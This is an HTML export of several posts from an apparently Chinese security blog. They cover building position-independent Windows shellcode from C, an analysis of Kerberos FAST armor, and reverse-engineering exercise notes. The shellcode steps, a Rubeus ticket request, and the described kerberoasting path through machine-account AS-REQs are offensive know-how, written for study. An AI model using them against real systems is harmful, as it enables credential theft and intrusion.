<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">resp</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"caaonima"</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">buf</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"nimacao"</span><span class="p">;</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">switch_state</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="n">resp</span><span class="p">));</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>使用if-else太麻烦,不推荐使用</p>
<h3>移除隐式依赖</h3>
<div class="highlight"><pre><span></span><code><span class="k">struct</span><span class="w"> </span><span class="nc">sockaddr_in</span><span class="w"> </span><span class="n">sock_config</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span>
</code></pre></div>
<p>乍一看这行代码并没有调用任何函数,但是实际上它隐式调用了memset函数来初始化这个结构体变量</p>
<p><strong>我这边实际测试的时候并没有发现有memset函数的引入</strong></p>
<p><img alt="image-20221011084836634" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pYUBzcDNxW.jpg"></p>
<p>不过为了避免出现这种情况,我们还是使用自定义的函数或者inline的函数来初始化这种结构体</p>
<div class="highlight"><pre><span></span><code><span class="k">struct</span><span class="w"> </span><span class="nc">sockaddr_in</span><span class="w"> </span><span class="n">sock_config</span><span class="p">;</span>
<span class="n">SecureZeroMemory</span><span class="p">(</span><span class="o">&</span><span class="n">sock_config</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">sock_config</span><span class="p">));</span>
</code></pre></div>
<p><code>SecureZeroMemory</code>是inline函数</p>
<p>可以看到该函数的定义直接存在于生成的汇编代码中</p>
<p><img alt="image-20221011085315072" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YDHBSmssVI.jpg"></p>
<h3>处理字符串(可选)</h3>
<p>我们还需要将所有用到的字符串转换为基于栈的,这个在<a href="https://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/">这篇文章</a>中有提到</p>
<div class="highlight"><pre><span></span><code><span class="kt">char</span><span class="w"> </span><span class="n">load_lib_name</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="sc">'L'</span><span class="p">,</span><span class="sc">'o'</span><span class="p">,</span><span class="sc">'a'</span><span class="p">,</span><span class="sc">'d'</span><span class="p">,</span><span class="sc">'L'</span><span class="p">,</span><span class="sc">'i'</span><span class="p">,</span><span class="sc">'b'</span><span class="p">,</span><span class="sc">'r'</span><span class="p">,</span><span class="sc">'a'</span><span class="p">,</span><span class="sc">'r'</span><span class="p">,</span><span class="sc">'y'</span><span class="p">,</span><span class="sc">'A'</span><span class="p">,</span><span class="mi">0</span><span class="p">};</span>
<span class="n">LPVOID</span><span class="w"> </span><span class="n">load_lib</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">get_func_by_name</span><span class="p">((</span><span class="n">HMODULE</span><span class="p">)</span><span class="n">base</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">LPSTR</span><span class="p">)</span><span class="n">load_lib_name</span><span class="p">);</span>
</code></pre></div>
<p>这段代码生成的汇编代码如下:</p>
<p><img alt="image-20221011090805828" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/tZcPzRNwjK.jpg"></p>
<h3>生成汇编代码</h3>
<p>现在我们已经准备好将C项目编译生成汇编代码了</p>
<div class="highlight"><pre><span></span><code>cl /c /FA /GS- demo.cpp
</code></pre></div>
<p><strong>注意将peb_lookup.h和demo.cpp放到同一目录,编译的时候会自动将其包含进去</strong></p>
<p><code>/GS-</code>选项用于关闭stack cookie checks,如果没有这个选项,那么我们生成的汇编代码将会变成这样:</p>
<p><img alt="image-20221011092324450" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/KSEmOaMpdc.jpg"></p>
<p>这样的话就多了一个外部依赖,所以一定要加上这个编译选项来避免出现这种情况</p>
<h2>重构汇编代码</h2>
<p>32位和64位有一些细微的差别,重构步骤也会因此有一些差异,我们将分开介绍</p>
<h3>32位</h3>
<p>首先使用vcvars32.bat初始化环境变量,然后编译生成汇编代码</p>
<h4>0.清理汇编代码</h4>
<p>首先,我们直接编译上面生成的汇编代码来生成EXE</p>
<p><img alt="image-20221011093230184" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/EWwAcpifcs.jpg"></p>
<p>在汇编代码的最上面加上下面这一行来解决这个报错</p>
<p><img alt="image-20221011093440864" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wgUpNOoTuv.jpg"></p>
<p>这个时候应该能生成一个可以正常运行的exe</p>
<p>使用PE-bear可以看到,该exe中仍然包含导入表</p>
<p><img alt="image-20221011093657998" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LnINsIUPyL.jpg"></p>
<p>这是因为一些标准库默认链接到了我们的exe中,下面我们移除这些外部依赖</p>
<h4>1.移除剩余的外部依赖</h4>
<p>把汇编代码中的这三行注释掉:</p>
<div class="highlight"><pre><span></span><code><span class="k">include</span><span class="w"> </span><span class="nv">listing</span>.<span class="nv">inc</span>
<span class="nv">INCLUDELIB</span><span class="w"> </span><span class="nv">LIBCMT</span>
<span class="nv">INCLUDELIB</span><span class="w"> </span><span class="nv">OLDNAMES</span>
</code></pre></div>
<p>在上面那一步中,我们生成的exe链接了静态库LibCMT,其中包含了入口函数<code>_mainCRTStartup</code>,现在我们把这个依赖移除之后,链接器就找不到入口函数了,因此我们需要在编译的时候显式指定入口函数:</p>
<div class="highlight"><pre><span></span><code>ml /c demo.asm
link demo.obj /entry:main
</code></pre></div>
<p><img alt="image-20221011094959692" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MWxEquPcOH.jpg"></p>
<p>这下彻底干净了</p>
<h4>2.确保代码的位置无关性</h4>
<p><em>如果之前在C代码中已经将所有的字符串重构为基于栈的,那么这一步就可以省略掉了</em></p>
<p>为了保证代码的位置无关性,我们不能在除了.text之外的任何其他sections中存储数据,所有的事情都必须要在<code>.text</code>中完成,如果我们的字符串被存储到了<code>.data</code>中,那么我们就需要重构汇编代码来inline掉这些字符串</p>
<p>这里不再赘述,推荐在写C代码的时候使用基于栈的方式</p>
<h4>3.提取shellcode</h4>
<p>这一步可以使用<a href="https://github.com/wqreytuk/pe_parser#2022-10-02-%E6%9B%B4%E6%96%B0">pe-parser</a>完成</p>
<h3>64位</h3>
<p>首先使用vcvars64.bat初始化环境变量,然后编译生成汇编代码</p>
<h4>栈对齐</h4>
<p>如果你想用XMM指令,那么需要确保16字节的栈对齐,否则,你的exe会直接崩掉</p>
<p>相关细节在<a href="https://github.com/mattifestation">Matt Graeber (@Mattifestation)</a>的文章<a href="https://web.archive.org/web/20210305190309/http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html">Writing Optimized Windows Shellcode in C</a>中的<strong>Ensuring Proper Stack Alignment in 64-bit Shellcode</strong>一节中有提到</p>
<p>这一部分暂且略过,并没有考虑编写64位的shellcode</p>
<p><strong>THE END</strong></p>
<h1><a href="https://www.bilibili.com/video/BV1Ge4y147kD/">演示视频</a></h1>
<p>上面的演示视频中,shellcode提取之后使用加载器运行没有成功,正在解决这个问题</p>
<p>换了一个加载器就好了,原来的这个加载器可能有点问题</p>Kerberos--FAST armor2022-09-29T00:00:00+02:002022-09-29T00:00:00+02:0012138tag:None,2022-09-29:kerberos-fast-armor.html<p>references:</p>
<ul>
<li>
<p><a href="https://www.ietf.org/rfc/rfc6113.txt">https://www.ietf.org/rfc/rfc6113.txt</a></p>
</li>
<li>
<p><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9</a></p>
</li>
<li>
<p><a href="https://www.trustedsec.com/blog/i-wanna-go-fast-really-fast-like-kerberos-fast/">https://www.trustedsec.com/blog/i-wanna-go-fast-really-fast-like-kerberos-fast/</a></p>
</li>
<li><a href="https://syfuhs.net/kerberos-fast-armoring">https://syfuhs.net/kerberos-fast-armoring</a></li>
<li><a href="https://www.semperis.com/blog/new-attack-paths-as-requested-sts/">https://www.semperis.com/blog/new-attack-paths-as-requested-sts/</a></li>
</ul>
<h1>简介</h1>
<p>提前国庆快乐</p>
<p><strong>炒冷饭,都是别人研究 …</strong></p><p>references:</p>
<ul>
<li>
<p><a href="https://www.ietf.org/rfc/rfc6113.txt">https://www.ietf.org/rfc/rfc6113.txt</a></p>
</li>
<li>
<p><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9</a></p>
</li>
<li>
<p><a href="https://www.trustedsec.com/blog/i-wanna-go-fast-really-fast-like-kerberos-fast/">https://www.trustedsec.com/blog/i-wanna-go-fast-really-fast-like-kerberos-fast/</a></p>
</li>
<li><a href="https://syfuhs.net/kerberos-fast-armoring">https://syfuhs.net/kerberos-fast-armoring</a></li>
<li><a href="https://www.semperis.com/blog/new-attack-paths-as-requested-sts/">https://www.semperis.com/blog/new-attack-paths-as-requested-sts/</a></li>
</ul>
<h1>简介</h1>
<p>提前国庆快乐</p>
<p><strong>炒冷饭,都是别人研究的,我就在这做个笔记</strong></p>
<p>这里的FAST并不是字面意义的fast,而是<code>Flexible Authentication Secure Tunneling</code>的首字母缩写,它的出现主要是为了解决域内用户密码被离线破解的问题,该技术在<a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh831747(v=ws.11)#kerberos-armoring-flexible-authentication-secure-tunneling-fast">windows server 2012 R2</a>引入</p>
<p>大家可能都听说过kerberoasting,这个技术主要用于离线爆破服务账户的明文密码,以及asrep-roast,用于离线爆破未开启pre-auth认证的普通用于的明文密码</p>
<p>这两种爆破都基于同一个事实:<strong>数据包被用户密码派生出来的哈希加密,并且我们可以控制加密算法为最弱的RC4</strong></p>
<p>对于计算机账户,就不存在这种问题,因为计算机账户的明文密码是很长的一串随机字符串,且复杂度极高,这是我的测试环境中的机器账户的明文密码:</p>
<p><img alt="img" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/nCsERqcSZy.jpg"></p>
<p>可以看到,相当的复杂,离线爆破是不可能的,就算你真的爆出来了,密码也已经失效了,机器账户默认情况下一个月自动更新一次密码</p>
<p>而启用了FAST之后,在进行kerberos认证的时候,会先使用机器账户从DC获取一个key,使用这个key来保护用户认证阶段的数据,这样即使离线爆破,获得的也只是这个short-term key,更何况你还不一定爆的出来,这种key长度一般都很长</p>
<p><strong>这个特性被称作 FAST armor,顾名思义,它给kerberos的AS(TGS票据申请)阶段装了一层盔甲,不过它只保护用户的AS-REQ,不保护机器账户的AS-REQ,因为它本质上是使用机器账户的TGT去保护用户的TGT获取过程</strong></p>
<h1>启用FAST</h1>
<p>通过组策略启用</p>
<p><img alt="image-20220929100536980" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/WrhxkEVUDk.jpg"></p>
<p>对于域控制器:</p>
<p><img alt="image-20220929100606507" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/CoVVeMUCCV.jpg"></p>
<p>对于工作站和成员服务器:</p>
<p><img alt="image-20220929100649222" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/zagdohxxSl.jpg"></p>
<p>在启用之后,可以使用rubeus检测以下效果:</p>
<div class="highlight"><pre><span></span><code>rubeus.exe asktgt /user:nmd /password:qwe123... /domain:cao.ni.ma /dc:WIN-BTAP0QG1S13.cao.ni.ma /outfile:1.kirbi
</code></pre></div>
<p>如果返回了这个错误,说明配置成功</p>
<p><img alt="image-20220929100752347" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/eAADXgfBwu.jpg"></p>
<h1>协议分析</h1>
<p>wireshark数据包文件:<a href="https://github.com/wqreytuk/php-/blob/master/fastarmor.pcapng">pcapng</a></p>
<p>由于rubeus和impacket都不支持<code>kRB5-PADATA-FX-FAST (136)</code>的解密和解析,所以大家就自己看看这个数据包的大致流程就行了,具体细节就不讲了</p>
<p>如果你想要自己测试,需要先<a href="https://144.one/cong-chuang-jian-gpodao-fsmozai-dao-kerberosjie-mi.html#makabakayezhnixuaodeshiendehenxihuanwo">清除当前机器账户的票据</a></p>
<h1>新的攻击思路</h1>
<p>FAST armor的设计初衷是缓解kerberoasting以及asrep-roast,在启用了FAST之后,这两种攻击方式都会失效,对于前者,因为必须要先获取到一个机器账户的TGT,才能进行TGT或ST的请求,导致攻击无法执行;对于后者,不包含preauth数据的AS-REQ会被KDC拒掉</p>
<p><img alt="image-20220929154008771" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/CMUCWTdWBU.jpg"></p>
<p><img alt="image-20220929153945569" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ryYfxDBDUo.jpg"></p>
<p>可以看到,在GetTGT的时候失败了,报错显示KDC的策略拒绝掉了我们的请求</p>
<p>但是按照FAST的设计,计算机账户在申请TGT的时候并不会被保护</p>
<p><img alt="image-20220929154333998" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MyywiFsmTj.jpg"></p>
<p><a href="https://twitter.com/exploitph">exploitph</a>提出了一个想法,能否利用机器账户通过AS-REQ来请求ST,按照设计,AS-REQ是用于请求TGT的,但是如果我们把sname-string由<code>krbtgt/cao.ni.ma</code>改成一个合法的SPN会发生什么事情呢?</p>
<p><img alt="image-20220929154723169" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/fsVKMDwPYe.jpg"></p>
<p>对impacket中的相关文件进行修改之后,使用机器账户申请TGT票据</p>
<p><img alt="image-20220929155039581" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/idCZVjPUGB.jpg"></p>
<p><img alt="image-20220929155125990" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/cNNBjcLXPi.jpg"></p>
<p><img alt="image-20220929155151520" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/fTCEyUsDrp.jpg"></p>
<p>可以看到,正常返回了ldap服务票据</p>
<p>使用<a href="https://twitter.com/_nwodtuhs">_nwodtuhs</a>的<a href="https://github.com/ShutdownRepo/impacket/blob/describeTicket/examples/describeTicket.py">describeTicket.py</a>查看该票据:</p>
<p><img alt="image-20220929155844422" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/GvZRBKVJmd.jpg"></p>
<p>这样一来,asrep-roast的路被堵死了,但是<strong>kerberoasting never die!</strong></p>
<p><a href="https://exploit.ph/">exploitph</a>把这个问题提交给了MSFT,那边的回复是经典的<strong>by design!</strong></p>
<p><a href="https://twitter.com/_nwodtuhs">_nwodtuhs</a>针对这个问题对impacket进行了一些修改,提交了一个<a href="https://github.com/SecureAuthCorp/impacket/pull/1413">PR</a>,需要的可以看一下</p>Practical Reverse Engineering notes -- Part II2022-08-05T00:00:00+02:002022-08-05T00:00:00+02:0012138tag:None,2022-08-05:practical-reverse-engineering-notes-part-ii.html<p><a href="https://github.com/wqreytuk/Practical_Reverse_Engineering_note/tree/main/Part%20II">Part II</a></p>
<p>目录可能会稍微有点乱,不要介意,凑合看吧</p>
<h3>约定</h3>
<p>不知道该怎么翻译的,我一律直接用英文原文,只可意会不可言传,自 …</p><p><a href="https://github.com/wqreytuk/Practical_Reverse_Engineering_note/tree/main/Part%20II">Part II</a></p>
<p>目录可能会稍微有点乱,不要介意,凑合看吧</p>
<h3>约定</h3>
<p>不知道该怎么翻译的,我一律直接用英文原文,只可意会不可言传,自己去悟吧</p>
<p><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debug-universal-drivers---step-by-step-lab--echo-kernel-mode-#connectto">内核调试配置</a></p>
<p>windbg启动命令</p>
<div class="highlight"><pre><span></span><code>windbg32<span class="w"> </span>–k<span class="w"> </span>net:port<span class="o">=</span><span class="m">50000</span>,key<span class="o">=</span>2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p
windbg64<span class="w"> </span>–k<span class="w"> </span>net:port<span class="o">=</span><span class="m">50100</span>,key<span class="o">=</span>2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p
</code></pre></div>
<p><a href="https://github.com/wqreytuk/Practical_Reverse_Engineering_note/blob/main/malware_samples.zip">书中使用到的所有恶意样本</a></p>
<p>密码是<code>infected</code></p>
<h2>List##Excercise</h2>
<p>接着做题,他这个题是真的多༼☯﹏☯༽</p>
<p>在汇编代码中找<code>InsertHeadList</code>的内联代码</p>
<p>先观察该函数汇编代码的模式</p>
<p>把<code>ListHead</code>给<code>Entry</code>的<code>Blink</code></p>
<div class="highlight"><pre><span></span><code>mov [rax+8], rdi
</code></pre></div>
<p>取出<code>ListHead</code>的<code>Flink</code>给<code>Entry</code>的<code>Flink</code></p>
<div class="highlight"><pre><span></span><code><span class="n">mov</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">rdi</span><span class="o">]</span>
<span class="n">mov</span><span class="w"> </span><span class="o">[</span><span class="n">rax</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">rcx</span>
</code></pre></div>
<p>把<code>Entry</code>给<code>ListHead</code>的<code>Flink</code>的<code>Blink</code>和<code>ListHead</code>的<code>Flink</code></p>
<div class="highlight"><pre><span></span><code><span class="n">mov</span><span class="w"> </span><span class="o">[</span><span class="n">rcx+8</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">rax</span>
<span class="n">mov</span><span class="w"> </span><span class="o">[</span><span class="n">rdi</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">rax</span>
</code></pre></div>
<p>模式大概就是:</p>
<blockquote>
<p>有两个地址需要往后偏移8并进行写入值的操作</p>
<p>有两个地址需要进行写入值的操作</p>
<p>这两个写入操作有一个重叠地址(不考虑偏移量),这个地址就是新增的Entry</p>
<p>未产生交集的两个地址,偏移8进行写入的是OldEntry,另一个就是ListHead</p>
<p>其中ListHead会分别进行一次读取值和写入值的操作</p>
</blockquote>
<p>在做题的过程中,我又发现一个模式</p>
<blockquote>
<p>判断OldEntry的Blink是否指向ListHead</p>
<p>cmp qword ptr [r8+8], rax</p>
<p>jne MEM_LOCATION Branch</p>
<p>这里r8是OldEntry,rax是ListHead</p>
</blockquote>
<p>这样的话,就直接找cmp和jne连着的地方,基本上就大差小不差了</p>
<h3>nt!CcSetVacbInFreeList</h3>
<p>1</p>
<p><img alt="image-20220805155923958" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/xjpQKTtzoq.jpg"></p>
<p>根据上面总结出来的模式</p>
<blockquote>
<p>rax为Entry</p>
<p>rdx(nt!CcVacbFreeList)为ListHead</p>
<p>未产生交集且偏移8进行写入操作的rcx是OldEntry</p>
</blockquote>
<h3>nt!CmpDoSort</h3>
<p>1</p>
<p><img alt="image-20220805161330946" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/qXGlLaOAOW.jpg"></p>
<p>正好5条指令</p>
<blockquote>
<p>r11为OldEntry</p>
<p>rbx为新增Entry</p>
<p>r12为ListHead</p>
</blockquote>
<h3>nt!ExBurnMemory</h3>
<p>1</p>
<p><img alt="image-20220805161631597" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ueLryVxFek.jpg"></p>
<blockquote>
<p>r8为ListHead</p>
<p>rax为OldEntry</p>
<p>rcx(nt!BurnMemoryDescriptor)为新增Entry</p>
</blockquote>
<h3>nt!ExFreePoolWithTag</h3>
<p>1</p>
<p>这两千多行的代码,我就是快速扫一眼都扫了半天,眼都快瞎了</p>
<p><img alt="image-20220805163027240" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/tWHRLaceVL.jpg"></p>
<blockquote>
<p>rcx是ListHead</p>
<p>rbx是新增的Entry</p>
<p>rax是OldEntry</p>
</blockquote>
<h3>nt!IoPageRead</h3>
<p>1</p>
<p><img alt="image-20220805163721352" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/noJrHHFGPd.jpg"></p>
<p>不用我勾选,上图中的5个mov指令就是链表插入操作,具体每个寄存器代表什么我也不写了,一眼就能看出来</p>
<p>里面的cmp指令用于判断<code>OldEntry</code>的<code>Blink</code>是否指向<code>ListHead</code>,正常情况下是相等的,具体什么情况下会不相等,我也不知道</p>
<h3>nt!IovpCallDriver1</h3>
<p>1</p>
<p><img alt="image-20220805164529861" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/guJCFJQekP.jpg"></p>
<h3>nt!KeInitThread</h3>
<p>1</p>
<p><img alt="image-20220805164839465" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/CmAZKUUPoK.jpg"></p>
<h3>nt!KiInsertQueueApc</h3>
<p>2</p>
<p><img alt="image-20220805165609452" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ybRXxGRedj.jpg"></p>
<p><img alt="image-20220805170430627" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ZOcjzaYKLK.jpg"></p>
<h3>nt!KeInsertQueueDpc</h3>
<p>1</p>
<p><img alt="image-20220805205021803" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/SHlJQXFipD.jpg"></p>
<h3>nt!KiQueueReadyThread</h3>
<p>1</p>
<p><img alt="image-20220805205713363" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/TNellbmUfP.jpg"></p>
<h3>nt!MiInsertInSystemSpace</h3>
<p>1</p>
<p><img alt="image-20220805205907582" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kaEqvsunrf.jpg"></p>
<h3>nt!MiUpdateWsle</h3>
<p>1</p>
<p><img alt="image-20220805211227519" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/IJUHeeDXCo.jpg"></p>
<h3>nt!ObpInsertCallbackByAltitude</h3>
<p><img alt="image-20220805211428551" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/gKchXoJWGn.jpg"></p>
<p>定位<code>InsertTailList</code>这个函数的inline代码我就不做了,因为和<code>InsertHeadList</code>非常相似,模式几乎是一样的,只不过是改成了从尾部插入而已</p>
<p>做一下<code>RemoveHeadList</code>好了,题解我就不放在这里了,因为太占地方了</p>
<p><a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/126188091?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22126188091%22%2C%22source%22%3A%22ma_de_hao_mei_le%22%7D&ctrtid=yR9O6">在这里查看题解</a></p>
<p>在往后的一道题就是说之前做的Insert和Remove链表节点的几个函数代码都有一个共同的特征,这个我在做题的时候也发现了,而且记录了下来,就是CMP和JNE指令</p>
<p>类似于下面这种</p>
<p><img alt="image-20220806144922613" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LbzjRzbGYr.jpg"></p>
<p>这个CMP指令的结果正常情况下应该是相等的,如果不相等,说明链表出现了问题,后面的代码就没办法正常执行了,因此直接跳转走并触发中断</p>
<p>每次判断失败的时候,就会执行</p>
<div class="highlight"><pre><span></span><code>mov ecx, 3
int 29h
</code></pre></div>
<p>题目提示说需要使用查看IDT,那就来看一下29h中断是啥</p>
<div class="highlight"><pre><span></span><code>kd> !idt 29
Dumping IDT: fffff8038577f080
29: fffff803858fb800 nt!KiRaiseSecurityCheckFailure
</code></pre></div>
<p>在windows 8 x64中INT指令的背后进行了哪些一系列的操作,什么TrapFrame又是啥东西,这些我都不是很清楚,也许永远都不会清楚,如果清楚了,我会更新的</p>
<p>通过在驱动程序中嵌入汇编代码,我可以跟进29h号中断的代码里,并观察到rsp指向的是RIP,此时的RIP是指向int指令的下一条指令的,后面的我就没戏看了,暂时还没必要,而且我也不是很清楚具体都压进去了什么东西到栈里面</p>
<h2>Asynchronous and Ad-Hoc Execution</h2>
<p>Ad-Hoc好像是老外的俚语,意思可能是立即,我也不清楚,硬着头皮往下看先</p>
<h3>System Threads</h3>
<p>就他妈离谱,上来就让我写个驱动去测试东西,我哪里会写驱动啊</p>
<p>OK,我会写驱动了,我也会调试驱动了,没什么难的</p>
<p><a href="https://github.com/wqreytuk/x64_ASM_Kernel_Mode">https://github.com/wqreytuk/x64_ASM_Kernel_Mode</a></p>
<p>这一节就是讲的PsCreateSystemThread这个函数,然后让判断下面这段话是否正确</p>
<blockquote>
<p>在IOCTL handler中调用该函数并将ProcessHandle(第四个参数)设为NULL,那么创建出来的线程是运行在发起IO请求的用户空间的那个进程中的</p>
</blockquote>
<p>答案是这句话是错误的,我自己写了个驱动测试了一下,<a href="https://github.com/wqreytuk/windows_driver/blob/main/ioctl.sln">项目地址</a></p>
<p>这个项目包含一个驱动和一个console app,其中console app用于向驱动程序发起IO请求,将console app和驱动程序放到一个路径下执行console app即可,console app会首先安装驱动,然后使用getchar阻塞等待按键,这个时候在debugger中设置好windbg并加载好符号设置好断点(Test Function),回到debuggee回车触发断点即可</p>
<p>通过观察传入的最后一个参数获取到ThreadHandle的值</p>
<div class="highlight"><pre><span></span><code>fffff807`54a95316 e8e5bcffff call SIoctl!TestFunction (fffff807`54a91000)
fffff807`54a9531b 48c744243000000000 mov qword ptr [rsp+30h],0
fffff807`54a95324 488d05b5bdffff lea rax,[SIoctl!thread_routine (fffff807`54a910e0)]
fffff807`54a9532b 4889442428 mov qword ptr [rsp+28h],rax
fffff807`54a95330 48c744242000000000 mov qword ptr [rsp+20h],0
fffff807`54a95339 4533c9 xor r9d,r9d
fffff807`54a9533c 4533c0 xor r8d,r8d
fffff807`54a9533f ba00000010 mov edx,10000000h
fffff807`54a95344 488d8c24d8000000 lea rcx,[rsp+0D8h]
fffff807`54a9534c ff15deccffff call qword ptr [SIoctl!_imp_PsCreateSystemThread (fffff807`54a92030)]
</code></pre></div>
<p>在PsCreateSystemThread函数调用完成后查看<code>rsp+d8</code>即可</p>
<div class="highlight"><pre><span></span><code><span class="mi">4</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dq</span><span class="w"> </span><span class="o">/</span><span class="n">c</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">(</span><span class="n">rsp</span><span class="o">+</span><span class="n">d8</span><span class="o">)</span><span class="w"> </span><span class="n">L1</span>
<span class="n">ffff808d</span><span class="err">`</span><span class="n">dffdf1b8</span><span class="w"> </span><span class="n">ffffffff</span><span class="err">`</span><span class="mi">80004</span><span class="n">aec</span>
</code></pre></div>
<p><code>ffffffff80004aec</code>是一个HANDLE对象,即句柄,<strong>它并不是一个地址,而是一个索引值</strong>,可以在windbg中使用<code>!handle</code>来查看该句柄关联的信息</p>
<p><img alt="image-20220812131145784" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/CwYwiaaLNv.jpg"></p>
<p>圈起来的这个值就是句柄代表的对象的地址,就是ETHREAD(KTHREAD)结构体的地址,这两个结构体的地址是一样的,因为KTHREAD是ETHREAD的第一个成员</p>
<div class="highlight"><pre><span></span><code><span class="mi">4</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">_KTHREAD</span><span class="w"> </span><span class="n">ffff8a071f0e3080</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">Header</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">_DISPATCHER_HEADER</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x018</span><span class="w"> </span><span class="n">SListFaultAddress</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">(</span><span class="kc">null</span><span class="o">)</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">QuantumTarget</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x4758c54</span>
<span class="w"> </span><span class="o">...</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x098</span><span class="w"> </span><span class="n">ApcState</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">_KAPC_STATE</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x098</span><span class="w"> </span><span class="n">ApcStateFill</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">[</span><span class="mi">43</span><span class="o">]</span><span class="w"> </span><span class="s2">"???"</span>
<span class="w"> </span><span class="o">...</span>
</code></pre></div>
<p>进入ApcState成员</p>
